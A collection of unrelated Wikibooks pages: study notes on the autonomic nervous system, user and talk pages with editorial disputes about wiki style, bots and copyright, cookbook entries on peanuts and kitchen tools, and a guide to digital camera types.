 * usually have opposite effects on same organs/glands - called dual innervation
 * 1) Parasympathetic Division
 * 2) *conserves body energy
 * 3) *maintains base levels for homeostasis
 * 4) Parasympathetic effects:
 * 5) *pupils constrict
 * 6) *increased digestion activity
 * 7) *lowered blood pressure, heart rate, breathing
 * 8) Sympathetic division
 * 9) *fight-or-flight
 * 10) Sympathetic responses:
 * 11) *pupils dilate
 * 12) *increased blood pressure, heart rate, breathing
 * 13) *bronchioles dilate
 * 14) *increased blood glucose levels for increased muscle activity
 * 15) *sweating
 * 16) *During exercise, blood is taken from the skin and digestive viscera to the heart, brain, and skeletal muscles.

ANS Anatomy

 * divisions are distinguished by
 * origin
 * parasympathetic - brain and sacrum
 * sympathetic - thoracic and lumbar
 * length of fibers
 * parasympathetic - long preganglionic, short postganglionic
 * sympathetic - short preganglionic, long postganglionic
 * location of ganglia
 * parasympathetic - close to visceral effector organs
 * sympathetic - close to spine

Parasympathetic

 * oculomotor nerves (III) - for constricting pupils
 * facial nerves (VII) - activates nasal, lacrimal, and salivary glands
 * glossopharyngeal nerves (IX) - salivary glands
 * vagus nerves (X) - 90% of preganglionic parasympathetic fibers
 * to neck, nerve plexuses
 * cardiac plexuses
 * pulmonary plexuses
 * esophageal plexuses
 * aortic plexus
 * supplies liver, gallbladder, stomach, small intestine, kidneys, pancreas, proximal large intestine
 * sacral outflow
 * serves distal large intestine, bladder, ureters, reproductive organs
 * parasympathetic fibers never run in spinal nerves

Sympathetic

 * more complex than parasympathetic - more organs
 * sympathetic neurons produce the lateral horns, which are absent in sacral region of spinal cord
 * nerves leave cord through the ventral root
 * pass through the white ramus
 * enter chain ganglion, where it either:
 * synapses in same ganglion
 * moves to another ganglion and synapses there
 * passes through ganglion without synapsing
 * If 1 or 2, nerve goes through gray ramus and exits
 * If 3, exits through white ramus

title: User:Benlee/Notes/ANP/14


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User:Constantijn

If you want to reach me, my e-mail is d_constantijn@yahoo.com.

I'm Constantijn. I am a history buff, mostly World History and European History.

Currently, my main focus of work on WIkiBooks is the World History WikiBook.

Si vous voulez me parlez, mon courrier est d_constantijn@yahoo.com.

Je m'appelle Constantijn. Je suis un fervent d'histoire, en particulier l'histoire du monde et l'histoire européenne.

Maitenant, mon centre principal de travail sur WikiBooks est le WikiBook d'histoire du monde.

title: User:Constantijn


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Cookbook:Peanut

| Cookbook:Vegetables | Legume

The peanut, also known as the groundnut fruit, is a type of legume that is often used as if it were a nut.

Peanuts are used to make peanut oil, peanut butter, and peanut sauce.

Recipes featuring peanuts include

 * Gado-gado

Warnings

 * Moldy peanuts are deadly. They contain aflatoxin. In time, even low amounts can lead to cancer.
 * Many people are horribly allergic to peanuts. Cashews can often be substituted.

title: Cookbook:Peanut


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Talk:Organic Chemistry/Introduction to reactions/Diels-Alder reaction

Could we put in the stereochemical bonding structure of the disubstituted product? The Diels-Alder reaction retains stereochemistry (the two substituents in the reaction diagram should be both above or below the "plane" of the cyclohexene)


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Talk:Choosing The Right File Format

Microsoft's XPS format
Someone added: "Microsoft has introduced a new PDF-like fixed document format named XPS, based on XML. This format has already gained the support of many industry heavyweights and is poised to become a great format for archival purposes." Appart from not being NPOV the comparison with PDF is not quite correct. I'll look at that after the move. --DuLithgow 21:06, 24 February 2006 (UTC)

HTML vs. RTF
I'm surprised to see no mention of HTML. Is RTF significantly superior to HTML? --DavidCary 02:33, 26 May 2005 (UTC)

See this article http://en.wikipedia.org/wiki/List_of_document_markup_languages

Good point, I think I'll redo that bit. The danger is that people using MSOffice will think that saving it as html is a good thing. In that specific case RTF is better. -- Duncan (not signed in)

JPEG vs. PNG
I'd like to point out that JPEGs saved at level 12 (highest quality) are, in fact, lossless. They are sometimes also smaller (though not always) than an equivalent PNG image, and thus may be preferable for use (especially considering their universal use; not all applications can read PNG.)

No. JPEGs are always lossy. Have you ever compared images before and after JPEG compression? The JPEG FAQ (Last-modified: 28 March 1999) says

 * "cranking a regular JPEG implementation up to its maximum quality setting *does not* get you lossless storage; even at the highest possible quality setting, baseline JPEG is lossy because it is subject to roundoff errors in various calculations. Roundoff errors alone are nearly always too small to be seen, but they will accumulate if you put the image through multiple cycles of compression (see section 10)."

While I've heard that the Joint Photographic Experts Group are working on lossless compression of images, my understanding is that far more applications understand PNG than any kind of "lossless JPEG". ''If this situation has changed since 1999, I will be very suprised -- please tell me more. --DavidCary 02:33, 26 May 2005 (UTC)''

 * The JPEG2000 standard allows for lossless compression, but it is a) proprietary (that is, licenses need to be purchased for software implementing the standard) and b) not highly deployed or well supported in software due to a) ...
 * The thing about standards is... there's so many of them to choose from.
 * -- Horst.Burkhardt (talk) 08:21, 12 August 2009 (UTC)

patents
While patents may be a problem now, they are certainly no special risk for long-term data storage. If anything, that eliminates the risk. The patent will expire. AlbertCahalan 16:08, 8 October 2005 (UTC)

Thoughts (Encryption, DRM, Spreadsheets, multiple formats)
Perhaps the dangers of DRM and encryption should be mentioned? I'd hate to see someone archive something in, say, an encrypted odf and forget the key... Also, why are databases and spreadsheets listed together? Why isn't it mentioned that it may be wise to store multiple copies? For example, keeping an ODF and an ASCII text file of the same thing, or a vector graphic and then a rasterized copy.

 * Please sign you comments in future. Someone is very welcome to write about DRM. Not my field. Password issues are valid and should be included, would anyone like to add a note where appropriate? Yes, people should keep multiple copies, but that's for a backup article to say, maybe we could mention it though. ODF files are ASCII compliant, though I have questions about the uncompression issues in the future - any thoughts out there? --DuLithgow 09:05, 2 January 2007 (UTC)

This can't be right
The page recommends a solution (ODT) which it does not define or reference.Ahgardner (discuss • contribs) 15:56, 25 October 2019 (UTC)

title: Talk:Choosing The Right File Format


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User talk:69.156.154.38

Hello 69.156.154.38. Who are you?

Paul.

title: User talk:69.156.154.38


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User talk:Uncle G

linking style
Why did you change Cookbook:Gado-gado? Maybe you misread my changes. To someone not editing the page, eggs and eggs look identical. (eggs and eggs) To someone editing the page, it is easier to read and change the wikitext if the "s" is inside the square brakets.
 * Untrue. Putting the plural outside of the square brackets is better style.  It discourages the habits of using piped links and redirects unnecessarily, and it discourages the habit of treating the square brackets as if they were parentheses, which they are not.  (I've seen punctuation put inside the square brackets before now, because of such thinking.)  The claim that it is easier to change the wikitext if the whole word is within the square brackets is false.  (After all, linking is a basic feature of the wiki markup that every editor soon learns to be familiar with.)  Indeed, doing so actually makes things harder to edit, since it encourages practices and thinking that lead to mistakes and broken links, for the reasons given. Uncle G 09:30, 25 Apr 2005 (UTC)
 * You're using Wikipedia thinking on Wikibooks, where it truly does not belong. Piped links are mandatory here. If I wish to change the word, the rules of the English language dictate that I might also need to change the ending. I should not need to hit the arrow key or delete and retype the square brackets. Having the word in one place is obviously more readable too; breaking words for no reason is very bad.
 * Wrong on both counts. The wiki markup is the same everywhere, and the same thinking applies everywhere.  (You are apparently unaware that the page that I linked to above, Help:Editing, is the same everywhere.  It's from Meta.)  And piped links are not mandatory here.  They are simply more common, which is simply because hiding the existence of sub-pages is more common.  That's not the same as being mandatory.  Moreover, the argument about "rules of the English language" is just silly.  There are no "rules of the English language" that dictate wiki markup.  There are, however, good stylistic and foolproofing reasons to take advantage of the WikiMedia blended ending feature, which I've outlined above. Uncle G 23:29, 25 Apr 2005 (UTC)

the Cookbook style
We don't use subpages in the cookbook. This has been generally agreed upon and accepted. Please take care next time you edit pages related to the cookbook. Following the style everyone else uses would be greatly appreciated. AlbertCahalan 01:58, 8 May 2005 (UTC)
 * This has been generally agreed upon and accepted. — False.  See the big pastel box at the top of Naming conventions.  Please take care next time you edit pages related to the cookbook. —  The person that you should be addressing your comments to is the anonymous user who created the cookbook pages without adhering to any convention, not me.  Uncle G 10:26, 8 May 2005 (UTC)
 * Yes indeed, see that page. In the pink box: "for all future Wikibooks". Then, if you can read down the page a bit, the Cookbook is given as an example of a book using the ":" convention. So, right on that page, it says you should use the ":" for the Cookbook. Then you can simply look around in the Cookbook, see User_talk:Gentgeen where Gentgeen agrees with me, notice that even the recipe template uses ":" notation... Note that I do have some respect for people who can admit they are wrong. In any case, you are expected to abide by the style of any book you edit, even if you don't like that style. Style changes need to be generally agreed upon by the normal cookbook editors (Gentgeen, me, Redlentil, etc.), then fully implemented with the horrendous task of converting everything. AlbertCahalan 16:37, 8 May 2005 (UTC)
 * I do have some respect for people who can admit they are wrong. — By that principle, we should only respect you for admitting that you were wrong for addressing your comments to me instead of to the anonymous user who created the cookbook pages without adhering to any convention. You still haven't. Uncle G 02:33:06, 2005-08-19 (UTC)

Votes for deletion
Moved to Wikibooks talk:Votes for deletion - Aya T C 16:19, 3 August 2005 (UTC)

Organization of the Harry Potter and the Half-Blood Prince plot
See Talk:Muggles' Guide to Harry Potter/Books/Half-Blood Prince. — 131.230.133.185 07:27, 3 August 2005 (UTC)

Creating user page
I am my contributions history

Heh. Lemme guess. Someone complained about the "red link". But I agree with you. A user should be primarily judged on their contribs, and not what they say on their user page. - Aya T C 15:51, 8 August 2005 (UTC)

Transwiki
I see you either you or your bot is moving pages from the transwiki pseudo-namespace into the Cookbook without fixing the links. For example, Cookbook:Drawn butter. Can you please avoid this, since newbies tend to click on these and fill them in with dictionary definitions. - Aya T E C 18:28, 18 August 2005 (UTC) Hi, for the transwikis, would you mind adding to the top so that we can see they need help? Thanks! Kellen T 20:25, 18 August 2005 (UTC)
 * The 'bot copies the pages exactly as they stand, as it should. If you want the internal links turned into interwiki links, then either fix them yourself or have some patience and wait until I've processed the entire queue and I'm free to go back and join everything up.  (It should be obvious that I'm only partway through a long task.  I haven't even linked the new cookbook recipes into the Cookbook proper, yet.) Uncle G 18:43:56, 2005-08-18 (UTC)
 * Okay. It's fine if you intend to fix all this yourself, but I'd prefer you did these transwikis one at a time, and fix them before moving onto the next. As a general rule, stuff dumped here from WP which is not fixed up to conform will get deleted. Sorry, but I don't have the time to fix-up all the unwanted shite from WP. - Aya T E C 19:18, 18 August 2005 (UTC)
 * There's no "unwanted shite from Wikipedia". That's simply false.  I suggest less parochialism and more looking at what is actually the case.  Read the transwiki log and the actual articles that have come through the system.  As for how you would prefer me to work, since you state that you don't "don't have time" to do the actual work yourself, you'll have to accept the way that those of us who do do the work, choose to do it. Uncle G 02:33:06, 2005-08-19 (UTC)
 * Even if "the work" you "choose" to "do" is more of a hinderance to our goals than a help? However. Let me try to be more helpful. I don't mind people leaving stuff in the transwiki pseudo-namespace, but when moving content from there to an actual book, it ought to meet the guidelines of the book in question. If you can't be bothered to fix it up, then just leave it in the transwiki pseudo-namespace, so someone else can do it. - Aya T E C 17:29, 19 August 2005 (UTC)
 * Even if "the work" you "choose" to "do" is more of a hinderance to our goals than a help? — It's not a hindrance in any way. Your question is based upon a false premise and is unanswerable.  It's also sneering in tone.  The remainder of your comments, talking about what "I prefer" and "I don't mind", come across as exceedingly egotistical, moreover.  You are not the king of Wikibooks.  That's User:Jimbo Wales. If you can't be bothered to fix it up —  Have a care!  If there's anyone at whom the charge of "cannot be bothered" can be levelled at here, it is you, not anyone else.  See your above response to  . just leave it in the transwiki pseudo-namespace, so someone else can do it —  That's entirely the wrong idea, and is a recipe for stagnation.  If an editor knows what book or bookshelf the transwikied article belongs in, then it is perfectly all right to rename the article there and link it into the book/bookshelf, leaving further attention to the article to other editors.  Wikibooks is founded upon the notion of collaborative editing, remember.  It is not required that one editor do either everything or nothing.  Rather, it is perfectly acceptable for one editor to do just one of the steps towards improving a book.  Every little helps.  User:Kellen is demonstrating collaboration in action.  This is how wikis are supposed to work.  Please watch and learn.  Uncle G 10:03:55, 2005-08-20 (UTC)
 * Okay. Let's end this exchange of personal insults, as it's not achieving anything useful. In keeping with site policy, you ought to update your bot's code to change links of the form  to  . - Aya T E C 17:49, 23 August 2005 (UTC)
 * Again you demand that I do edits that you (singular) want made. I reiterate the {{sofixit}} above: If you want something edited, edit it yourself.  This is a wiki.  I also reiterate my suggestion that you watch and learn from Kellen. Uncle G 23:51, 28 September 2005 (UTC)
 * I think in the case of the Cookbook, the additional tagging of things with takes care of this. Kellen T 20:03, 19 August 2005 (UTC)
 * Bear in mind that if you want to tag all of the pages with whatever tags you like yourself, you need only follow Special:Contributions/Uncle G's 'bot or (the probably more convenient) Transwiki log/Articles moved to here. (I haven't logged the page moves in the latter, yet. But it is reasonably obvious even without that which are the recipe articles.) Uncle G 02:33:06, 2005-08-19 (UTC)
 * I'm not trying to be snarky, but if you have a bot going through stuff, a lot of which is Cookbook-related, it would be more useful for your bot to automatically tag them than for someone like me to go through and manually tag them. This will lessen the amount of work you do later (assuming you'd update links, etc, etc by hand) since someone unfamiliar with the fact that you are doing transwikis might pay more attention to them if they're properly demarcated. Kellen T 04:20, 19 August 2005 (UTC)
 * TRANSWIKI cannot do this. It's a generic transwikification utility that has no special knowledge of Wikibooks, let alone of the Cookbook.  I've had to write a whole new 'bot. Uncle G 11:46:10, 2005-08-19 (UTC)
 * Thank you for doing so. I shall be doing some cleanup on the transwikis. Kellen T 17:03, 19 August 2005 (UTC)
 * Excellent. There are a few more Cookbook articles yet to be transferred from Wikipedia. Uncle G 10:03:55, 2005-08-20 (UTC)
 * There are no more Cookbook articles in the queue. (It's just the trickier stuff. ☺)  Please cast an eye over w:Category:Soups and note any that you don't have. Uncle G 03:26:37, 2005-08-23 (UTC)

Transwiki of images
What's the proper form for the tranwiki-ing of images? I have, which should probably go to commons (it's linked from a transwikied recipe; unlinked anywhere else on WP). I didn't see any documentation on this -- do I just save it and reupload it? Kellen T 06:08, 23 August 2005 (UTC)
 * I don't know. I've never done it.  If an image were a public domain image, then you could just download and upload it.  I don't know the procedure for GFDL images.  I believe that, for starters, you're supposed to upload all of the older revisions of the image in addition to the current one.  The problem with that particular image is that it isn't tagged with its copyright status, so we don't even know whether it is allowable on Commons at all.  I've listed it at w:Wikipedia:Possibly unfree images. Uncle G 11:11:01, 2005-08-23 (UTC)

Nomination for Adminship
I hope you don't mind, but I've nominated you for adminship here on Wikibooks. You've been a solid editor and contributor here, and seem to have a good grasp of what is going on in terms of general policies. I'm not expecting you to necessarily be active in admin duties, but you certainly have proven yourself here on Wikibooks as an avid contributor and somebody IMHO worthy to have the extra privileges that can be given to admins. If you would like this, please reply and accept the nomination. --Rob Horning 10:56, 22 August 2005 (UTC)

MoC
Hi, I'm curious what you think of Jimbo's comment with respect to the MoC (and indeed to wikibooks in general). Kellen T 18:29, 30 August 2005 (UTC)

Sandbox and bot
Please change the way your bot resets Sandbox. Sandbox does not need to be included in the page any more, because it's included in Welcome to the SandBox!. Now there are two shortcuts in Sandbox. --Derbeth 00:12, 8 November 2005 (UTC)
 * Done. It will take effect from the next pass. Uncle G 00:14, 8 November 2005 (UTC)

Transwiki
Transwikied articles aren't easy to find now. I suggest your bot adds a template categorising new articles in category like Transwikied articles. We should also provide link to this category and instructions what to do with these pages, f.e. from Projects in Community portal. --Derbeth talk 21:57, 13 November 2005 (UTC) But this page is not linked well, it's hard to reach it. BTW, why your bot does not have bot flag? I don't like bots appearing at recent changes. --Derbeth talk 01:13, 14 November 2005 (UTC)
 * They're easy to find, and always have been. No categories are required.  All transwikifications performed by me are recorded in the Transwiki log. Uncle G 01:07, 14 November 2005 (UTC)
 * It's the standard place to find the transwiki log on all projects. And User:Uncle G's 'bot does not do the sort of high volume work that requires a flag.  That's the remit of User:Uncle G's major work 'bot. Uncle G 16:14, 14 November 2005 (UTC)

Thanks for deletion and moving
Hello. You are very kind to have moved many pages (Japanese/Vocabulary related), not just deleted the pages on VfD. Thanks a lot! - Marsian / talk 08:42, 16 November 2005 (UTC)
 * I leave it to you to remove all of the now superfluous navigation links from the pages. Uncle G 18:00, 17 November 2005 (UTC)

computer systems
I am making a list of all laptop computers currently sold (new) for under $500. I think such a list should go on a wiki. (That way, other people can help me keep the list up-to-date by removing things that are no longer being manufactured, and adding new things as they come on the market).

(I've already stuck the list online at http://communitywiki.org/odd/ComputerComponent/NoteBook . However, that location is very experimental / non-permanent, and I'm looking for a better location. )

Do you think such a list would be appropriate for Wikibooks? Should I stick that list on or near modules Computers for Beginners/Buying A Computer or How To Build A Computer, or is there somewhere else more appropriate?

I ask you because I see from Special:Undelete/Computer_Magazine/Systems/Reviews that
 * Uncle G deleted "Computer Magazine/Systems/Reviews" (Reviews are fundamentally incompatible with the neutral point of view.)

I hope this simple "list of all laptop computers currently sold (new) for under $500" can be made NPOV without too many conflicts. What do you think?

--DavidCary 05:55, 24 November 2005 (UTC)
 * Speaking for myself only and not for other editors (so double check at the Staff lounge): Unlike the case for reviews, the question here is one of compatibility with the project aims, not neutrality. A simple catalogue of computer prices, even a collaboratively written one, doesn't seem to me to fall within the "instructional and educational texts" remit of Wikibooks at all.  It's neither instructional nor educational.  One wouldn't expect to find that sort of thing within a school textbook on computers or within a "teach yourself computers" book.  I don't see it as falling squarely within the "sum of human knowledge" remit of the Wikimedia Foundation projects as a whole, even.  The Wikimedia project whose remit comes closest would be Wikipedia, but it's not close enough I think.  A collaboratively maintained catalogue of computers by price would almost certainly be excluded from Wikipedia, on the grounds of it being original research and Wikipedia not being a resource for conducting business.  I know that customer-maintained "price watch" sites exist elsewhere on the World Wide Web.  Have a look around to see whether there is one that covers laptop PCs.  If not, maybe it's time for you to set up your second wiki. ☺ Uncle G 17:31, 25 November 2005 (UTC)

CheckUser
You probably have missed CheckUser discussion in Staff Lounge. I would like to become a candidate for CheckUser rights, but I need at least one more person who also wants to be CheckUser. If you agree, I will nominate yourself at RFA and start vote. --Derbeth talk 10:43, 30 December 2005 (UTC)
 * I actually saw the discussion. If the community is happy that we actually need users with this privilege (as opposed to relying upon Stewards) in the first place, I'll accept that nomination.  Do you think that we need the opinions of more editors on that? Uncle G 11:49, 30 December 2005 (UTC)
 * I think 2-3 people with CheckUser rights would be just ok, but I don't see third candidate for this function now, noone has expressed will to become one. Maybe you have any suggestions? --Derbeth talk 10:00, 3 January 2006 (UTC)
 * I'll think it over. Are 2 insufficient? Uncle G 16:10, 3 January 2006 (UTC)
 * Well, there can be only 2 check-users, no problem. Should we start vote? --Derbeth talk 19:25, 3 January 2006 (UTC)
 * Yes, if you think that the community is is happy that we actually need users with this privilege. Uncle G 13:04, 4 January 2006 (UTC)

Help namespace
Following the discussions on vfd, please do not get your bot to update the help namespace anymore. Thanks, Jguk 03:01, 19 March 2006 (UTC)

Improving L1 Data Cache Performance
This book has been nominated for deletion, and is currently being discussed on VfD. I see that you added a cleanup notice to this page, and that I forgot to put up a vfd notice on it. Current concensus is that this page should be deleted, and I wanted to make sure that you don't have any specific objections to such actions before we delete. --Whiteknight (talk) (projects) 00:53, 22 May 2006 (UTC)

Hi...
Are you aware that we have Special:Import enabled from Wikipedia? Please turn off the bot :). -- SB_Johnny | talk 02:57, 11 February 2007 (UTC)
 * Special:Import is only available to administrators. User:Uncle G's 'bot does not have administrator privileges, and so cannot use it. Uncle G 10:25, 11 February 2007 (UTC)
 * Aren't you an admin here? In general, we wanted the import tool because we didn't want to use that kind of transwiki when avoidable. -- SB_Johnny | talk 14:03, 11 February 2007 (UTC)
 * That's wrong. You are confused about what Wikibooks doesn't want.  What Wikibooks doesn't want is people just copying and pasting articles from other projects here.  That's very different to the proper transwikifications that User:Uncle G's 'bot does.  The 'bot does all of the several things that are necessary for GFDL compliance.  Part of the reason that we don't want people just copying and pasting articles here is that plain copies and pastes aren't GFDL-compliant, and unless someone like me comes and fixes them to be GFDL compliant (which I've actually done several times in the past few years — using the 'bot) we have to delete them for copyright reasons.  Uncle G 18:35, 11 February 2007 (UTC)
 * Well, that's part of it, but the advantage of imported pages is that the contrib list is all in one place (rather than partially on the history page and partly on the talk page). There are still some cases where we could use the bot though, since Import won't work on pages with much over 1k revisions (surprisingly, there are a lot of those). You don't need a bot for importing... it's very fast and easy, automatically added to the import log, etc. -- SB_Johnny | talk 14:02, 12 February 2007 (UTC)

Deletes?
Hi - thanks for the work - appreciated. I see you marked a couple of autobio type pages for deletion. I think they are supposed to be subpages of Instructional Technology (a class project type one I think with a few other misnamed pages). Would you be happy with them being moved to there? Thanks & regards -- Herby talk thyme 12:55, 24 April 2007 (UTC)
 * It appears that they are. That book needs quite a lot of work with respect to our Naming policy.  Uncle G 13:19, 24 April 2007 (UTC)
 * Agreed - I have placed messages on a couple of the contributors pages (& been ignored!) - I may start moving some things just to tidy a bit - regards -- Herby talk thyme 13:58, 24 April 2007 (UTC)

new books and such
So, I ask around where to put a new book about FIT2D. People tell me that that is a 'good question' and suggest the Physics bookshelf. The latter proves to be a protected page, but there is a Modern Physics book that has a page titled X-ray diffraction but only contained references to XANES which is X-ray spectroscopy not diffraction. So I clean it up a bit and start my FIT2D page there and now it gets tagged as not being linked ot anything, but XANES does not. Is this part of a general policy to discourage any new additions?

Iarlagab 13:50, 24 April 2007 (UTC)
 * Please read our Naming policy, What is Wikibooks, and Bookshelves. Our policy is to encourage textbooks, and we attempt to ensure that orphaned single pages aren't left lying around forgotten.  If your FIT2D page is intended to be part of the existing Modern Physics book, then it should be a sub-page, which you can arrange by simply hitting the "move" button.  If it is intended to be a standalone book in its own right, then it should be listed on a bookshelf.  Physics bookshelf is not protected, only semi-protected. Uncle G 15:07, 24 April 2007 (UTC)

 * My intention henceforth is to forget about it. It is a mess here.

Thanks
For picking up the copy and paste - I only spotted it as badly named pages - regards -- Herby talk thyme 11:03, 26 April 2007 (UTC)

Catullus
Hello, I've been making steady progress on The Poetry of Gaius Valerius Catullus, and I've got quite a few poems comprehensively annotated. I was wondering, where I could find a template that warns the user of obscene content? Similar to the template right at the top of the contents page. As you may know, Catullus was infamous for his downright disgusting remarks to his enemies. Thanks in advance. Alakazam38 17:13, 12 May 2007 (UTC)

Actually, looking at the code, I think I can do just as well by editing yours? Would something like this be appropriate? Catullus 113 Alakazam38 17:19, 12 May 2007 (UTC)
 * We generally, on any Wikimedia Foundation project, don't do individual content disclaimers for individual pages. In part this is because there is no neutral standard for deciding what pages such disclaimers should not apply to, and in part because they are wholly redundant.  At the bottom of every page here you will find a link to the project's disclaimers, amongst which is our Content disclaimer, which applies globally to all content. Uncle G 08:54, 13 May 2007 (UTC)

Special Relativity
Thanks for tackling the issue of deleting that page. The page in question is no longer linked from the main TOC to the advanced section of the book and it is good that you have raised the issue of whether it should exist at all. SR is in a conceptual vice with the ill informed skeptics on the one hand trying to undermine it using Euclidean ideas and working theoretical physicists on the other hand saying (correctly) that the geometrical interpretation of SR is inconsistent with GR! It is difficult to know what to do in this situation and I have just reflexly taken the approach of adding another section where an objection would undermine the text (probably incorrectly in the case that you raised). RobinH (talk) 11:22, 18 December 2007 (UTC)

Topology Wikibook
Dear Uncle G,

I have read your notice but I just want you to have a look at the topology wikibook. I have somewhat improved it and hope to do more work. I am new to Wikibooks (but I am a Wikipedian user), so could you please give me your opinion on this? I have written mainly on local connectedness, the comb space and linear continua.

Topology Expert (talk) 10:21, 11 June 2008 (UTC)

Inactivity
So you're aware, you're up for removal of your adminship due to inactivity. The request will be placed at Meta in one month's time. Thanks for your service; you're welcome to request adminship again if you return to Wikibooks. — Mike.lifeguard | talk 21:48, 9 October 2008 (UTC)

Copyright violations
Did you notice that the UN has released this content through OTRS? I noted that on Talk:Asia and Pacific UNISDR Informs Issue 1 and the other talk pages. — Mike.lifeguard | talk 18:24, 29 November 2008 (UTC)
 * Has it actually done so? Did the OTRS volunteer, whoever that was, check that the person from the U.N. contacting xem was in fact authorized to re-licence the copyright?   Did xe check that the U.N. even had the rights to re-licence those of its books that have long lists of authors (such as Living with Risk whose list of contributors extends to 4 pages)?  Did xe check that the U.N. was actually licencing this as free content?  It might have been merely confirming what it says in the copyright licence of (for example) Indicators of Progress, which is that "Any part of this text may be reproduced without permission provided that it is reproduced accurately and not in a misleading context and the source of the material is clearly acknowledged by means of the above title, publisher and date.", which is non-free because it prevents the creation of modified versions that differ from the original.  Was due diligence actually employed? Uncle G (talk) 11:49, 1 December 2008 (UTC)
 * I was the person who handled that, and the answer is "yes" on all counts. If you had doubts, the correct course of action would have been to ask first. — Mike.lifeguard | talk 17:28, 1 December 2008 (UTC)
 * I just did ask. See above?  Those questions are me asking.  So what copyright licence is the U.N. re-releasing Indicators of Progress under? Uncle G (talk) 13:12, 2 December 2008 (UTC)
 * No you didn't, you nominated them for speedy deletion. I'm guessing you would have deleted immediately yourself them if you had the tools. The only reasons these questions got asked is because you couldn't delete them yourself, and I happened to notice that you had tagged them. I shouldn't have to point out that as an OTRS agent it's basically my job to handle permissions issues like this adequately - I do have some idea what I'm doing, otherwise I wouldn't have access. — Mike.lifeguard | talk 17:55, 4 December 2008 (UTC)
 * Your assumptions reflect how you would handle this, not how I would. Stop painting me with your own colours.  You clearly don't handle things well.  That doesn't mean that I would do as you do. How I would handle it is, self-evidently, how I did handle it, by nominating the articles for deletion as copyright violations.  I notice that you once again failed to answer the question, which I have clearly asked twice, and which I clearly did ask.  (Again, it's right there in front of you, above.)  This avoidance on your part leads me to doubt your claims that you handled this properly.  You are an OTRS volunteer, not an OTRS agent.  You don't automatically assume a mantle of infallibility by volunteering for something.  Are you going to answer the questions?  Uncle G (talk) 04:57, 31 January 2009 (UTC)

title: User talk:Uncle G


text:
Cookbook talk:Beater

Hmm, I see that beater has moved to mixer. I'm not familiar with a distinction between beaters and mixers. To me, it seems that different cultures have different norms for their terminology. For me, it's beater for the hand powered, hand-held, and the bench top versions. But, I suppose that the majority opinion rules. Cheers, Donovan. 03:16, 25 Apr 2005 (UTC)

 * See, if you call the whole thing a beater, then what the heck do you call the rotating things that go in the food? AlbertCahalan 03:49, 25 Apr 2005 (UTC)

Those rotating things are also called beaters. it's perfectly logical really.;) Cheers, Donovan. 00:38, 27 Apr 2005 (UTC)

title: Cookbook talk:Beater


text:
Cookbook talk:Waffle Maker

I see that Waffle Maker has been moved to Waffle Iron. I've always called it a waffle maker (the electric version). I thought that it was customary to redirect to the most complete of several articles? Oh well, the text for Waffle Iron will now need to be corrected at some stage. Cheers, Donovan. 03:24, 25 Apr 2005 (UTC)

 * When I see "waffle maker", I'm not 100% sure that it isn't an automated device. Google puts waffle maker ahead though, by a very slim margin, and people seem to be using it to refer to the simple electric clam-like device. So, have it your way.  AlbertCahalan 04:08, 25 Apr 2005 (UTC)

title: Cookbook talk:Waffle Maker


text:
Cookbook:Double Boiler

| Pots and pans

A double boiler is a double-walled cooking pot with water in between the walls. This construction limits the maximum temperature to the boiling point of water, which is generally about 200 °F to 212 °F (93°C to 100 °C). Two suitably sized pots can function as a double boiler, provided that the inner pot can be kept from touching the outer pot (except perhaps at the top edge) and can be kept stable enough.

If the inner pot seals fairly well against the outer pot, it is not necessary for the inner pot to touch the water.

Double boilers are most commonly used to melt chocolate. They can be used to cook custard, preventing the outside from crusting before the inside is fully cooked. Double boilers are also used in the making of Hollandaise sauce and custard-style ice creams to cook egg yolks.

A similar device is the bain-marie, which is for use in an oven.

title: Cookbook:Double Boiler


text:
CAWD/Synchronous Communication

Vitual Communication Environment

 * WBS-Online Community

 * Tapped in: Tapped in is an on-line community for teachers, administrators, professional development staff, university faculty, students, and researchers. This community provides various useful classes, clubs, and discussion sections for foreign language learners and techaers.

 * The Palace: The Palace is a vast online community of graphical interactive sites for Mac and Window users. With the Palace User Software, learners can visit a diverse range of communities such as business, training, and learning resources; entertainment and gaming centers; gathering points for special interest groups; and also personal sites where you simply can go to chat and socialize with friends and family. In addition, If learners download the Palace Server, they can even build and customize their own personal Palace site to host other people.

title: CAWD/Synchronous Communication


text:
Digital Photography/Digital Camera Types and Accessories

This section explains the various camera types and accessories available on the market. It does not attempt to categorize all available accessories - that's impossible - but attempts to describe the generic types of cameras and accessories available.

Types of digital cameras
Broadly speaking Digital cameras can be segregated into two major types: Consumer and Digital Single Lens Reflex (DSLR). A third type, the Prosumer camera, usually offers all the features of the consumer camera with some of the features of the DSLR.

 * Digital Consumer Cameras
 * These are made as an all-in-one device. They typically have a fixed lens, and are often loaded with a lot of gimmicks to make them attractive to the average consumer. Consumer cameras can be roughly divided in two subcategories:

 * Compact Cameras

 * These are generally designed with form in mind over functionality, and are designed to have a high form-factor for the stylish crowd. They tend to have very basic user control or have predefined modes, and often don't allow for much manual adjustments. Typically, these cameras have more pixels and lower image quality.

 * These cameras are a good choice if you always want to have your camera with you; they tend to have good form-factor and are lightweight, and most of them can fit into your pocket. Point-and-Shoot cameras can be used without any special knowledge, so they are attractive for those who just want to document events in their lives and do not want go deep into technical aspects of photography.

 * High-end Consumer Cameras

 * These have additional manual control features to allow more creativity and flexibility. For the photography enthusiast, these tend to be the bridge between Point-and-Shoot, and the almost inevitable progression to Digital SLR.

 * In fact, some of these cameras try to look like Digital SLR cameras but do not have interchangeable lenses and Through The Lens viewfinder. As they are built with components similar to those found in the Point-and-Shoot cameras, they also suffer from the technical limitations of the Point-and-Shoot cameras. However, better quality control and the use of better optics means these camera can deliver images that are quite good.

 * If you have a limited budget and still want to get some of the effects like DOF (Depth Of Field) in your shots then you must select the camera which provides the option of Aperture and Shutter Priority shooting Modes. You can select the model based after trying your hand to click using these settings at the shop. There are many Digital Consumer Camera which have these facilities. Th

 * Digital Single Lens Reflex Cameras (Digital SLR)
 * These have Through The Lens viewfinder, and typically have an interchangeable lens (there are a few digital SLRs which have fixed lenses. In general, however, SLR cameras, both traditional and digital, will have interchangeable lenses). The image sensors on digital SLRs are much larger and of a different construction than on consumer cameras and contributes to higher image quality.

 * Digital SLR focuses on giving high manual control to the user, and when combined with possibility to change lenses, gives a high degree of flexibility to the user. Entry-level Digital SLRs usually have several different automatic modes (similar to Consumer cameras) to make them less intimidating for beginners.

 * The high degree of quality control and the array of high-quality optic lenses has a correspondingly huge drawback: cost. A Digital SLR tends to cost a good deal, and a professional level Digital SLR can be 10 to 20 times the cost of a Consumer camera.. before adding the cost of the lens.

 * Digital Prosumer Cameras
